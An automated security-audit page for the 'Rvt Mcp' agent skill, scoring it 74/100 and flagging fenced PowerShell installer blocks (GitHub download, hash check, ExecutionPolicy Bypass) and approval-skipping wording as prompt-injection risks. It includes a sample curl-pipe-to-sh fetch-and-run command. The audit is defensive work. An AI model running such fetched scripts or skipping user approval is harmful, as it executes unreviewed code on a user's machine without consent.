Rvt Mcp— agent skill

Rvt Mcp — independently scanned and version-tracked by SaferSkills.

by bimwright·Agent Skill·github.com/bimwright/rvt-mcp

Is Rvt Mcp safe to install?

SaferSkills independently audited Rvt Mcp (Agent Skill) and scored it 74/100 (yellow). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 2 high-severity and 2 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
74/100
●●●●●●●○○○
Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 134d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings2 warnings · 2 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
26
9.1 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 4 flagged

Securityscore 26 · 4 findings
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · AGENTS.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptAGENTS.md· markdown
75```powershell
76$tag = (Invoke-RestMethod https://api.github.com/repos/bimwright/rvt-mcp/releases/latest).ta
… (6 chars elided on L76)
77$zip = "$env:TEMP\RvtMcp.Setup-$tag-win-x64.zip"
78$dir = "$env:TEMP\RvtMcp.Setup-$tag-win-x64"
79$base = "https://github.com/bimwright/rvt-mcp/releases/download/$tag"
80Invoke-WebRequest "$base/RvtMcp.Setup-$tag-win-x64.zip" -OutFile $zip
81Invoke-WebRequest "$base/RvtMcp.Setup-$tag-win-x64.zip.sha256" -OutFile "$zip.sha256"
82$expected = ((Get-Content "$zip.sha256" -Raw).Trim() -split '\s+')[0]
83$actual = (Get-FileHash $zip -Algorithm SHA256).Hash
Occurrences
1 occurrence · at L75
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256795e2ef243aa0571…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptREADME.md· markdown
57```powershell
58$tag = (Invoke-RestMethod https://api.github.com/repos/bimwright/rvt-mcp/releases/latest).ta
… (6 chars elided on L58)
59$dir = "$env:TEMP\RvtMcp.Setup-$tag-win-x64"
60Invoke-WebRequest "https://github.com/bimwright/rvt-mcp/releases/download/$tag/RvtMcp.Setup-
… (37 chars elided on L60)
61Expand-Archive "$dir.zip" -DestinationPath $dir -Force
62powershell -ExecutionPolicy Bypass -File "$dir\install.ps1" -WhatIf -Client claude-desktop
63# Review the preview before applying:
64powershell -ExecutionPolicy Bypass -File "$dir\install.ps1" -Client claude-desktop
65```
Occurrences
1 occurrence · at L57
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha2569b0ff1db448be405…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · README.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptREADME.md· markdown
128### Session health
129 
130At session start, select the intended Revit instance if needed, then call `revit_health()`.
… (108 chars elided on L130)
131 
132### Argument errors
Occurrences
1 occurrence · at L130
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha256cd2f70f4551240d0…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · docs/stairs-workflow.md
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptdocs/stairs-workflow.md· markdown
47- **Landing:** "Must it be at half-height or a specific elevation? What size and gap between
… (79 chars elided on L47)
48- **Railing:** "Which edges need guards or handrails, which are against walls, and which exi
… (108 chars elided on L48)
49- **Railing details:** "Should I inherit the reference's placement on treads/stringers, offs
… (108 chars elided on L49)
50- **Space conflicts:** "If this does not fit, which constraints may change?" Present concret
… (71 chars elided on L50)
51- **Acceptance:** "Are there project rules or specific checks this must satisfy?" Do not inf
… (90 chars elided on L51)
Occurrences
1 occurrence · at L49
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25668b030f55bcd484a…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
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